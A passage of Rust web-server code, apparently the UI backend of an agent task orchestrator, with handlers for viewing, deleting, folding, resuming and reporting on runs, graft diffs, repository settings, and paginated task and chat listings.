4085 status: Option<&'static str>,
4087 href: Option<String>,
4089}
4090
4091#[derive(Debug, Serialize, PartialEq)]
4094struct FollowUpOrigin {
4095 parent: Option<FollowUpParent>,
4097 run: FollowUpRun,
4098 pr: String,
4103 findings: Vec<String>,
4104 generation: u32,
4105}
4106
4107fn followup_origin(
4110 fu: &crate::queue::FollowUp,
4111 task: impl Fn(&str) -> Option<Task>,
4112 run: impl Fn(&str) -> Option<RunState>,
4113) -> FollowUpOrigin {
4114 let parent = fu
4115 .origin_task
4116 .as_deref()
4117 .and_then(task)
4118 .map(|t| FollowUpParent {
4119 short: t.short().to_owned(),
4120 href: format!("#/tasks/{}", encode_segment(&t.id)),
4121 status: t.status.as_str(),
4122 title: t.title,
4123 id: t.id,
4124 });
4125 let state = run(&fu.run);
4126 FollowUpOrigin {
4127 parent,
4128 run: FollowUpRun {
4129 short: run::short_of(&fu.run).to_owned(),
4130 status: state.as_ref().map(|s| s.status.as_str()),
4131 href: state
4132 .is_some()
4133 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4134 id: fu.run.clone(),
4135 },
4136 pr: fu.pr.clone(),
4137 findings: fu.findings.clone(),
4138 generation: fu.generation,
4139 }
4140}
4141
4142#[derive(Debug, Serialize)]
4144struct RunBrief {
4145 id: String,
4146 short: String,
4147 status: Option<&'static str>,
4149 outcome: String,
4151 badge: Option<String>,
4153}
4154
4155fn task_outcome(
4158 task: &Task,
4159 this_run: &str,
4160 max_attempts: usize,
4161 read: impl Fn(&str) -> Option<RunState>,
4162) -> TaskRef {
4163 let max_attempts = task.effective_attempt_limit(max_attempts);
4164 let history = task_history(task, read);
4165 let brief = |h: &TaskRunView| RunBrief {
4166 id: h.id.clone(),
4167 short: h.short.clone(),
4168 status: h.status,
4169 outcome: h.exit.edge_label(h.status),
4170 badge: h.badge.clone(),
4171 };
4172 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4173 let latest = if is_latest {
4174 None
4175 } else {
4176 history.last().map(brief)
4177 };
4178 let done = task.status == TaskStatus::Done;
4179 let finished_by = done
4180 .then(|| {
4181 history
4182 .iter()
4183 .rev()
4184 .find(|h| {
4185 matches!(
4186 h.exit,
4187 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4188 )
4189 })
4190 .map(brief)
4191 })
4192 .flatten();
4193 TaskRef {
4194 short: task.short().to_owned(),
4195 title: task.title.clone(),
4196 id: task.id.clone(),
4197 source_label: task.source.label(),
4198 source_link: source_link(&task.source),
4199 status: task.status.as_str(),
4200 attempts: task.attempts,
4201 max_attempts,
4202 is_latest,
4203 latest,
4204 closed_by_hand: done && finished_by.is_none(),
4205 finished_by,
4206 }
4207}
4208
4209#[derive(Debug, Serialize)]
4211struct LatestAttempt {
4212 id: String,
4213 short: String,
4214 resolved: bool,
4225 status: RunStatus,
4228 done: bool,
4230}
4231
4232#[derive(Debug, Default, Serialize)]
4234struct RunProseMd {
4235 advice_md: Option<AdviceMd>,
4237 candidate_summaries_md: Vec<Vec<md::Node>>,
4239 reviews_md: Vec<RoundMd>,
4241}
4242
4243#[derive(Debug, Default, Serialize)]
4244struct AdviceMd {
4245 synthesis: Vec<md::Node>,
4246 approaches: Vec<Vec<md::Node>>,
4248}
4249
4250#[derive(Debug, Default, Serialize)]
4251struct RoundMd {
4252 reviewers: Vec<ReviewerMd>,
4254 reconsideration: Vec<Vec<md::Node>>,
4256 fix: Option<FixMd>,
4257}
4258
4259#[derive(Debug, Default, Serialize)]
4260struct ReviewerMd {
4261 summary: Vec<md::Node>,
4262 findings: Vec<Vec<md::Node>>,
4264}
4265
4266#[derive(Debug, Default, Serialize)]
4267struct FixMd {
4268 notes: Vec<md::Node>,
4269 rejected: Vec<Vec<md::Node>>,
4271}
4272
4273fn run_prose_md(state: &RunState) -> RunProseMd {
4275 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4276 RunProseMd {
4277 advice_md: state.advice.as_ref().map(|a| AdviceMd {
4278 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4279 approaches: a
4280 .records
4281 .iter()
4282 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4283 .collect(),
4284 }),
4285 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4286 reviews_md: state
4287 .reviews
4288 .iter()
4289 .map(|round| RoundMd {
4290 reviewers: round
4291 .reviews
4292 .iter()
4293 .map(|rec| ReviewerMd {
4294 summary: nodes(&rec.summary),
4295 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4296 })
4297 .collect(),
4298 reconsideration: round
4299 .reconsideration
4300 .iter()
4301 .map(|rv| nodes(&rv.reason))
4302 .collect(),
4303 fix: round.fix.as_ref().map(|fix| FixMd {
4304 notes: nodes(&fix.notes),
4305 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4306 }),
4307 })
4308 .collect(),
4309 }
4310}
4311
4312impl RunDetailView {
4313 fn of(
4314 state: RunState,
4315 waiting: bool,
4316 live: crate::run::Liveness,
4317 superseded_by: Option<String>,
4318 latest_attempt: Option<LatestAttempt>,
4319 task: Option<TaskRef>,
4320 ) -> Self {
4321 let display_status = run_display_status(&state, waiting, live);
4322 let stop_reason = crate::stop_reason::of(
4323 &state,
4324 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4325 );
4326 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4327 Self {
4328 stop_reason,
4329 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4330 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4331 prose_md: run_prose_md(&state),
4332 origin_label: crate::run::origin_label(state.origin.as_ref()),
4333 live,
4334 unmerged_by_design: state.unmerged_by_design(),
4335 waiting,
4336 display_status,
4337 badge_status,
4338 done: state.status.done(),
4339 superseded_by,
4340 latest_attempt,
4341 task,
4342 state,
4343 }
4344 }
4345}
4346
4347async fn run_core(
4349 State(ui): State<Arc<Ui>>,
4350 Path(id): Path<String>,
4351) -> ApiResult<Json<RunDetailView>> {
4352 blocking(move || {
4353 let id = resolve_run(&ui.runs, &id)?;
4354 let state = read_run(&ui.runs, &id)?;
4355 Ok(Json(RunDetailView::of(
4356 state,
4357 false,
4358 crate::run::Liveness::Unknown,
4359 None,
4360 None,
4361 None,
4362 )))
4363 })
4364 .await
4365}
4366
4367async fn run_detail(
4368 State(ui): State<Arc<Ui>>,
4369 Path(id): Path<String>,
4370) -> ApiResult<Json<RunDetailView>> {
4371 blocking(move || {
4372 let id = resolve_run(&ui.runs, &id)?;
4373 let state = read_run(&ui.runs, &id)?;
4374 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4375 let live = state.liveness(daemon_claims);
4376 crate::queue::record_ids(ui.questions.root(), "json")?;
4377 let waiting = ui
4378 .questions
4379 .list()
4380 .iter()
4381 .any(|q| q.run == id && q.status.open());
4382 let max_attempts = daemon::Opts::default().max_attempts;
4383
4384 let matching_task = ui.find_task_for_run(&id)?;
4385
4386 let superseded_by = state
4387 .pr_taken_over_by
4388 .clone()
4389 .or_else(|| {
4390 matching_task
4391 .as_ref()
4392 .and_then(|t| t.successor_of(&id).cloned())
4393 })
4394 .as_deref()
4395 .map(crate::run::short_of)
4396 .map(str::to_owned);
4397
4398 let latest_attempt = matching_task
4402 .as_ref()
4403 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4404 .and_then(|head_id| {
4405 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4406 short: head.short().to_owned(),
4407 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4408 status: head.status,
4409 done: head.status.done(),
4410 id: head.id,
4411 })
4412 });
4413
4414 let task = matching_task
4415 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4416
4417 Ok(Json(RunDetailView::of(
4418 state,
4419 waiting,
4420 live,
4421 superseded_by,
4422 latest_attempt,
4423 task,
4424 )))
4425 })
4426 .await
4427}
4428
4429async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4438 let (id, unreadable) = {
4439 let ui = Arc::clone(&ui);
4440 blocking(move || {
4441 let id = resolve_run(&ui.runs, &id)?;
4442 match read_run(&ui.runs, &id) {
4443 Ok(state) => {
4444 let in_flight =
4445 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4446 state
4447 .ensure_can_delete(in_flight)
4448 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4449 let dir = ui.runs.join(&id);
4450 std::fs::remove_dir_all(&dir)
4451 .with_context(|| format!("remove run directory {}", dir.display()))?;
4452 Ok((id, false))
4453 }
4454 Err(_) => {
4455 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4459 return Err(ApiError::conflict(format!(
4460 "run {id} is being worked on by a live daemon right now"
4461 )));
4462 }
4463 Ok((id, true))
4464 }
4465 }
4466 })
4467 .await?
4468 };
4469 if unreadable {
4470 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4471 .await
4472 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4473 }
4474 let ui = Arc::clone(&ui);
4475 let done = id.clone();
4476 blocking(move || {
4477 ui.questions.abandon_for_run(
4480 &done,
4481 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4482 )?;
4483 Ok(())
4484 })
4485 .await?;
4486 Ok(StatusCode::NO_CONTENT)
4487}
4488
4489async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4513 let (id, state) = {
4514 let ui = Arc::clone(&ui);
4515 blocking(move || {
4516 let id = resolve_run(&ui.runs, &id)?;
4517 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4518 return Err(ApiError::conflict(format!(
4519 "run {id} is being worked on by a live daemon right now"
4520 )));
4521 }
4522 let state = read_run(&ui.runs, &id).ok();
4523 Ok((id, state))
4524 })
4525 .await?
4526 };
4527 let removed = match state {
4528 Some(mut state) => {
4529 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4530 .await
4531 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4532 if removed.is_empty() {
4537 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4538 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4539 }
4540 removed
4541 }
4542 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4543 .await
4544 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4545 };
4546 Ok(Json(FoldView {
4547 run: id,
4548 removed_count: removed.len(),
4549 removed,
4550 }))
4551}
4552
4553#[derive(Debug, Serialize)]
4555struct FoldView {
4556 run: String,
4557 removed: Vec<String>,
4559 removed_count: usize,
4560}
4561
4562#[derive(Debug, Deserialize)]
4565struct FoldMergedBody {
4566 #[serde(default)]
4567 pr_url: String,
4568}
4569
4570async fn run_fold_merged(
4590 State(ui): State<Arc<Ui>>,
4591 Path(id): Path<String>,
4592 Json(body): Json<FoldMergedBody>,
4593) -> ApiResult<Json<FoldMergedView>> {
4594 let pr_url = body.pr_url.trim().to_owned();
4595 if pr_url.is_empty() {
4596 return Err(ApiError::bad_request("pr_url is required"));
4597 }
4598 let (id, mut state) = {
4599 let ui = Arc::clone(&ui);
4600 blocking(move || {
4601 let id = resolve_run(&ui.runs, &id)?;
4602 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4603 return Err(ApiError::conflict(format!(
4604 "run {id} is being worked on by a live daemon right now"
4605 )));
4606 }
4607 let state = read_run(&ui.runs, &id)?;
4608 Ok((id, state))
4609 })
4610 .await?
4611 };
4612 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4613 .await
4614 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4615 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4616 .await
4617 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4618 Ok(Json(FoldMergedView {
4619 run: id,
4620 before: before.as_str().to_owned(),
4621 after: after.as_str().to_owned(),
4622 removed,
4623 }))
4624}
4625
4626#[derive(Debug, Serialize)]
4628struct FoldMergedView {
4629 run: String,
4630 before: String,
4632 after: String,
4634 removed: Vec<String>,
4636}
4637
4638async fn run_resume(
4658 State(ui): State<Arc<Ui>>,
4659 Path(id): Path<String>,
4660) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4661 let admission = ui.begin_admission()?;
4662 admitted(admission, async move {
4663 let (id, state) = {
4664 let ui = Arc::clone(&ui);
4665 blocking(move || {
4666 let id = resolve_run(&ui.runs, &id)?;
4667 let state = read_run(&ui.runs, &id)?;
4668 Ok((id, state))
4669 })
4670 .await?
4671 };
4672 crate::resume::validate_unqueued(&ui.home, &id)
4673 .map_err(|e| ApiError::conflict(e.to_string()))?;
4674 let _resume = ui.begin_resume(&id)?;
4675
4676 crate::resume::start(&ui.home, id.clone())
4677 .await
4678 .map_err(ApiError::from)?;
4679 let queued = RunSummary::of(
4682 &state,
4683 !ui.questions.open_for(&id).is_empty(),
4684 state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4685 );
4686 Ok((StatusCode::ACCEPTED, Json(queued)))
4687 })
4688 .await
4689}
4690
4691async fn run_report(
4692 State(ui): State<Arc<Ui>>,
4693 Path(id): Path<String>,
4694) -> ApiResult<impl IntoResponse> {
4695 let text = blocking(move || {
4696 let id = resolve_run(&ui.runs, &id)?;
4697 let state = read_run(&ui.runs, &id)?;
4701 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4702 let live = state.liveness(daemon_claims);
4703 Ok(format!(
4704 "{}{}",
4705 report::run(&state),
4706 report::active_seats(&state, live)
4707 ))
4708 })
4709 .await?;
4710 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4711}
4712
4713async fn run_report_json(
4717 State(ui): State<Arc<Ui>>,
4718 Path(id): Path<String>,
4719) -> ApiResult<Json<crate::report_view::RunReportView>> {
4720 let view = blocking(move || {
4721 let id = resolve_run(&ui.runs, &id)?;
4722 let state = read_run(&ui.runs, &id)?;
4723 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4724 let recovered = state.graft.as_ref().map(|_| {
4726 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4727 });
4728 Ok(crate::report_view::build_with(
4729 &state,
4730 state.liveness(daemon_claims),
4731 recovered.as_ref(),
4732 ))
4733 })
4734 .await?;
4735 Ok(Json(view))
4736}
4737
4738const GRAFT_DIFF_MAX: usize = 400 * 1024;
4740const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4742
4743async fn run_graft_diff(
4746 State(ui): State<Arc<Ui>>,
4747 Path(id): Path<String>,
4748) -> ApiResult<impl IntoResponse> {
4749 let (repo, pre, post) = blocking(move || {
4750 let id = resolve_run(&ui.runs, &id)?;
4751 let state = read_run(&ui.runs, &id)?;
4752 let g = state
4753 .graft
4754 .as_ref()
4755 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4756 let post = g
4757 .post
4758 .clone()
4759 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4760 Ok((state.repo.clone(), g.pre.clone(), post))
4761 })
4762 .await?;
4763 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4764 if !hex(&pre) || !hex(&post) {
4765 return Err(ApiError::not_found("the recorded commits are not valid"));
4766 }
4767 let out = tokio::time::timeout(
4768 GRAFT_DIFF_TIMEOUT,
4769 crate::git::git_raw(
4770 &repo,
4771 &[
4772 "diff",
4773 "--no-color",
4774 "--no-ext-diff",
4775 "-M",
4776 &pre,
4777 &post,
4778 "--",
4779 ],
4780 ),
4781 )
4782 .await
4783 .map_err(|_| ApiError::not_found("git diff timed out"))?
4784 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4785 if out.code != Some(0) {
4786 return Err(ApiError::not_found(
4787 "the recorded commits are no longer in the repository",
4788 ));
4789 }
4790 let mut body = out.stdout;
4791 if body.len() > GRAFT_DIFF_MAX {
4792 let mut cut = GRAFT_DIFF_MAX;
4793 while !body.is_char_boundary(cut) {
4794 cut -= 1;
4795 }
4796 body.truncate(cut);
4797 body.push_str("\n... diff truncated ...");
4798 }
4799 Ok((
4800 [
4801 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4802 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4803 ],
4804 body,
4805 ))
4806}
4807
4808#[derive(Debug, Serialize)]
4814struct TaskView {
4815 #[serde(flatten)]
4816 task: Task,
4817 source_label: String,
4818 source_link: Option<SourceLink>,
4819 status_str: &'static str,
4820 instruction_md: Vec<md::Node>,
4824 waits_on: Vec<String>,
4828 stuck_roots: Vec<String>,
4831}
4832
4833impl From<Task> for TaskView {
4834 fn from(task: Task) -> Self {
4835 Self {
4836 source_label: task.source.label(),
4837 source_link: source_link(&task.source),
4838 status_str: task.status.as_str(),
4839 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4840 waits_on: Vec::new(),
4841 stuck_roots: Vec::new(),
4842 task,
4843 }
4844 }
4845}
4846
4847impl TaskView {
4848 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4849 let waits_on = inv.waits_on(&task);
4850 let stuck_roots = inv
4851 .stuck_roots(&task)
4852 .iter()
4853 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4854 .collect();
4855 Self {
4856 waits_on,
4857 stuck_roots,
4858 ..Self::from(task)
4859 }
4860 }
4861}
4862
4863#[derive(Debug, Default, Deserialize)]
4866#[serde(default)]
4867struct ReposQuery {
4868 refresh: u8,
4869}
4870
4871async fn repos_list(
4878 State(ui): State<Arc<Ui>>,
4879 Query(q): Query<ReposQuery>,
4880) -> ApiResult<Json<Vec<repos::Repo>>> {
4881 let refresh = q.refresh != 0;
4882 blocking(move || {
4883 let (cfg, _) = Config::discover(&ui.repo, None)?;
4884 Ok(Json(ui.repos_cache.list(
4885 &cfg.repos.roots,
4886 Duration::from_secs(cfg.repos.scan_ttl),
4887 refresh,
4888 )))
4889 })
4890 .await
4891}
4892
4893#[derive(Debug, Default, Deserialize)]
4895struct SettingsQuery {
4896 repo: Option<PathBuf>,
4897}
4898
4899fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4903 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4904 let paths: Vec<PathBuf> = ui
4905 .machine_config
4906 .iter()
4907 .filter(|p| p.is_file())
4908 .cloned()
4909 .collect();
4910 if paths.is_empty() {
4911 Ok(Config::autodetected())
4912 } else {
4913 Config::load_layers(&paths)
4914 }
4915 });
4916 let mut known = cfg
4917 .map(|cfg| {
4918 ui.repos_cache.list(
4919 &cfg.repos.roots,
4920 Duration::from_secs(cfg.repos.scan_ttl),
4921 refresh,
4922 )
4923 })
4924 .unwrap_or_default();
4925 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4926 if !known.iter().any(|r| r.path == path) {
4927 known.push(repos::Repo {
4928 name: path
4929 .file_name()
4930 .unwrap_or_default()
4931 .to_string_lossy()
4932 .into_owned(),
4933 path,
4934 });
4935 }
4936 known
4937}
4938
4939fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4940 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4941 let canonical = requested.canonicalize().ok();
4942 let mut known = settings_repositories(ui, false);
4943 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4944 if !known.iter().any(matches) {
4945 known = settings_repositories(ui, true);
4946 }
4947 let repo = known
4948 .iter()
4949 .find(|r| matches(r))
4950 .map(|r| r.path.clone())
4951 .ok_or_else(|| ApiError {
4952 text_reason: None,
4953 status: StatusCode::UNPROCESSABLE_ENTITY,
4954 message: "Choose a known repository from the Settings selector.".to_owned(),
4955 })?;
4956 Ok((repo, known))
4957}
4958
4959async fn settings_get(
4963 State(ui): State<Arc<Ui>>,
4964 Query(q): Query<SettingsQuery>,
4965) -> ApiResult<Json<settings::SettingsView>> {
4966 blocking(move || {
4967 let (repo, known) = settings_context(&ui, q)?;
4968 Ok(Json(settings::view_with_repos(
4969 &repo,
4970 ui.machine_config.as_deref(),
4971 &known,
4972 )))
4973 })
4974 .await
4975}
4976
4977#[derive(Debug, Deserialize)]
4979#[serde(deny_unknown_fields)]
4980struct RolesBody {
4981 revision: String,
4983 #[serde(default)]
4985 roles: std::collections::BTreeMap<String, Vec<String>>,
4986 #[serde(default)]
4990 counts: std::collections::BTreeMap<String, serde_json::Value>,
4991}
4992
4993async fn settings_put_roles(
4999 State(ui): State<Arc<Ui>>,
5000 Query(q): Query<SettingsQuery>,
5001 body: std::result::Result<Json<RolesBody>, JsonRejection>,
5002) -> ApiResult<Json<settings::SettingsView>> {
5003 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5004 blocking(move || {
5005 let (repo, known) = settings_context(&ui, q)?;
5006 settings::save_with_repos(
5007 &repo,
5008 ui.machine_config.as_deref(),
5009 &body.revision,
5010 &body.roles,
5011 &body.counts,
5012 &known,
5013 )
5014 .map(Json)
5015 .map_err(|e| match e {
5016 settings::SaveError::Conflict(m) => ApiError::conflict(m),
5017 settings::SaveError::Refused(m) => ApiError {
5018 text_reason: None,
5019 status: StatusCode::UNPROCESSABLE_ENTITY,
5020 message: m,
5021 },
5022 settings::SaveError::Internal(m) => ApiError::internal(m),
5023 })
5024 })
5025 .await
5026}
5027
5028async fn queue_list(
5029 State(ui): State<Arc<Ui>>,
5030 Query(q): Query<ListQuery>,
5031) -> ApiResult<Json<Vec<TaskView>>> {
5032 blocking(move || {
5033 let tasks = ui.queue.list();
5034 let inv =
5035 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5036 Ok(Json(
5037 tasks
5038 .into_iter()
5039 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5040 .map(|t| TaskView::with_inventory(t, &inv))
5041 .collect(),
5042 ))
5043 })
5044 .await
5045}
5046
5047#[derive(Debug, Default, Deserialize)]
5052struct PageQuery {
5053 before: Option<String>,
5054}
5055
5056#[derive(Serialize)]
5057struct StorePage<T> {
5058 rows: Vec<T>,
5059 next: Option<String>,
5060}
5061
5062const STORE_PAGE_SIZE: usize = 16;
5063
5064#[derive(Debug)]
5068struct ListWalk {
5069 token: u64,
5070 talks: bool,
5071 opened: std::time::Instant,
5072 ids: Arc<Vec<String>>,
5073}
5074
5075fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5076 let mut walks = ui
5077 .monitor
5078 .list_walks
5079 .lock()
5080 .unwrap_or_else(PoisonError::into_inner);
5081 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5082 let (token, ids, offset) = if let Some(cursor) = q.before {
5083 let (token, offset) = cursor
5084 .split_once(':')
5085 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5086 let token = token
5087 .parse::<u64>()
5088 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5089 let offset = offset
5090 .parse::<usize>()
5091 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5092 let walk = walks
5093 .iter()
5094 .find(|walk| walk.token == token && walk.talks == talks)
5095 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5096 (token, walk.ids.clone(), offset)
5097 } else {
5098 let root = if talks {
5099 ui.talks.root()
5100 } else {
5101 ui.queue.root()
5102 };
5103 let mut ids = crate::queue::record_ids(root, "json")?;
5104 ids.sort_unstable_by(|a, b| b.cmp(a));
5105 let ids = Arc::new(ids);
5106 let mut token = crate::rng::entropy();
5107 while walks.iter().any(|walk| walk.token == token) {
5108 token = crate::rng::entropy();
5109 }
5110 if walks.len() >= 16 {
5113 walks.remove(0);
5114 }
5115 walks.push(ListWalk {
5116 token,
5117 talks,
5118 opened: std::time::Instant::now(),
5119 ids: ids.clone(),
5120 });
5121 (token, ids, 0)
5122 };
5123 if offset > ids.len() {
5124 return Err(ApiError::bad_request("Invalid list cursor"));
5125 }
5126 let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
5127 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5128 Ok((ids[offset..end].to_vec(), next))
5129}
5130
5131async fn queue_page(
5132 State(ui): State<Arc<Ui>>,
5133 Query(q): Query<PageQuery>,
5134) -> ApiResult<Json<StorePage<TaskView>>> {
5135 blocking(move || {
5136 let (ids, next) = page_ids(&ui, false, q)?;
5137 let tasks: Vec<_> = ids
5138 .into_iter()
5139 .filter_map(|id| ui.queue.get(&id).ok())
5140 .collect();
5141 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5142 let rows = tasks
5143 .into_iter()
5144 .map(|task| TaskView::with_inventory(task, &inv))
5145 .collect();
5146 Ok(Json(StorePage { rows, next }))
5147 })
5148 .await
5149}
5150
5151#[derive(Debug, Clone, Serialize)]
5154struct TalkListView {
5155 title: Option<talk::ChatTitle>,
5156 id: String,
5157 repo: PathBuf,
5158 agent: String,
5159 status: talk::TalkStatus,
5160 turns: Vec<TalkListTurn>,
5161 turn_count: usize,
5162 unread_count: usize,
5163 context: talk::ContextUsage,
5164 #[serde(skip)]
5165 agent_times: Vec<Timestamp>,
5166 thinking: bool,
5167 created_at: Timestamp,
5168 updated_at: Timestamp,
5169}
5170
5171#[derive(Debug, Clone, Serialize)]
5172struct TalkListTurn {
5173 who: talk::Who,
5174 at: Timestamp,
5175 body: String,
5176}
5177
5178fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5179 let reads: HashMap<String, Timestamp> = headers
5180 .get("x-talk-reads")
5181 .and_then(|v| v.to_str().ok())
5182 .and_then(|v| serde_json::from_str(v).ok())
5183 .unwrap_or_default();
5184 let mut index = ui
5185 .monitor
5186 .talk_index
5187 .lock()
5188 .unwrap_or_else(PoisonError::into_inner);
5189 if index.len() > 1000 {
5191 index.clear();
5192 }
5193 ids.into_iter()
5194 .filter_map(|id| {
5195 let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5196 if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5197 let talk = ui.talks.get(&id).ok()?;
5198 #[cfg(test)]
5199 ui.monitor
5200 .talk_parses
5201 .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5202 let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5203 let last = talk.turns.len().checked_sub(1);
5204 let turns = talk
5205 .turns
5206 .iter()
5207 .enumerate()
5208 .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5209 .map(|(_, t)| TalkListTurn {
5210 who: t.who,
5211 at: t.at,
5212 body: t
5213 .body
5214 .lines()
5215 .next()
5216 .unwrap_or_default()
5217 .chars()
5218 .take(240)
5219 .collect(),
5220 })
5221 .collect();
5222 let row = TalkListView {
5223 title: talk.title.clone(),
5224 agent_times: talk
5225 .turns
5226 .iter()
5227 .filter(|t| t.who == talk::Who::Agent)
5228 .map(|t| t.at)
5229 .collect(),
5230 turn_count: talk.turns.len(),
5231 unread_count: 0,
5232 context: talk::context_usage(&talk, None),
5233 turns,
5234 thinking: false,
5235 id: talk.id,
5236 repo: talk.repo,
5237 agent: talk.agent,
5238 status: talk.status,
5239 created_at: talk.created_at,
5240 updated_at: talk.updated_at,
5241 };
5242 index.insert(id.clone(), (identity, row));
5243 }
5244 let row = &index.get(&id)?.1;
5245 let mut row = TalkListView {
5246 title: row.title.clone(),
5247 unread_count: row
5248 .agent_times
5249 .iter()
5250 .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5251 .count(),
5252 agent_times: Vec::new(),
5253 id: row.id.clone(),
5254 repo: row.repo.clone(),
5255 agent: row.agent.clone(),
5256 status: row.status,
5257 context: row.context.clone(),
5258 turns: row.turns.clone(),
5259 turn_count: row.turn_count,
5260 thinking: false,
5261 created_at: row.created_at,
5262 updated_at: row.updated_at,
5263 };
5264 row.thinking = ui.is_thinking(&id);
5265 Some(row)
5266 })
5267 .collect()
5268}
5269
5270async fn talks_page(
5271 State(ui): State<Arc<Ui>>,
5272 Query(q): Query<PageQuery>,
5273 headers: header::HeaderMap,
5274) -> ApiResult<Json<StorePage<TalkListView>>> {
5275 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5276 let (ids, next) = page_ids(&ui, true, q)?;
5277 Ok(Json(StorePage {
5278 rows: talk_rows(&ui, ids, &headers),
5279 next,
5280 }))
5281 })
5282 .await
5283}
5284
5285async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5286 blocking(move || {
5287 let tasks = ui.indexed_tasks()?;
5288 Ok(Json(TaskCountsView::from(
5289 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5290 )))
5291 })
5292 .await
5293}
5294
5295const SEARCH_MAX_HITS: usize = 100;
5297const SEARCH_MAX_QUERY: usize = 200;
5299const SEARCH_MAX_TERMS: usize = 8;
5300const SNIPPET_BEFORE: usize = 50;
5302const SNIPPET_AFTER: usize = 110;
5303
5304#[derive(Debug, Deserialize)]
5306struct SearchQuery {
5307 #[serde(default)]
5308 scope: String,
5309 #[serde(default)]
5310 q: String,
5311}
5312
5313#[derive(Debug, Serialize, PartialEq, Eq)]
5316struct SnippetPart {
5317 text: String,
5318 hit: bool,
5319}
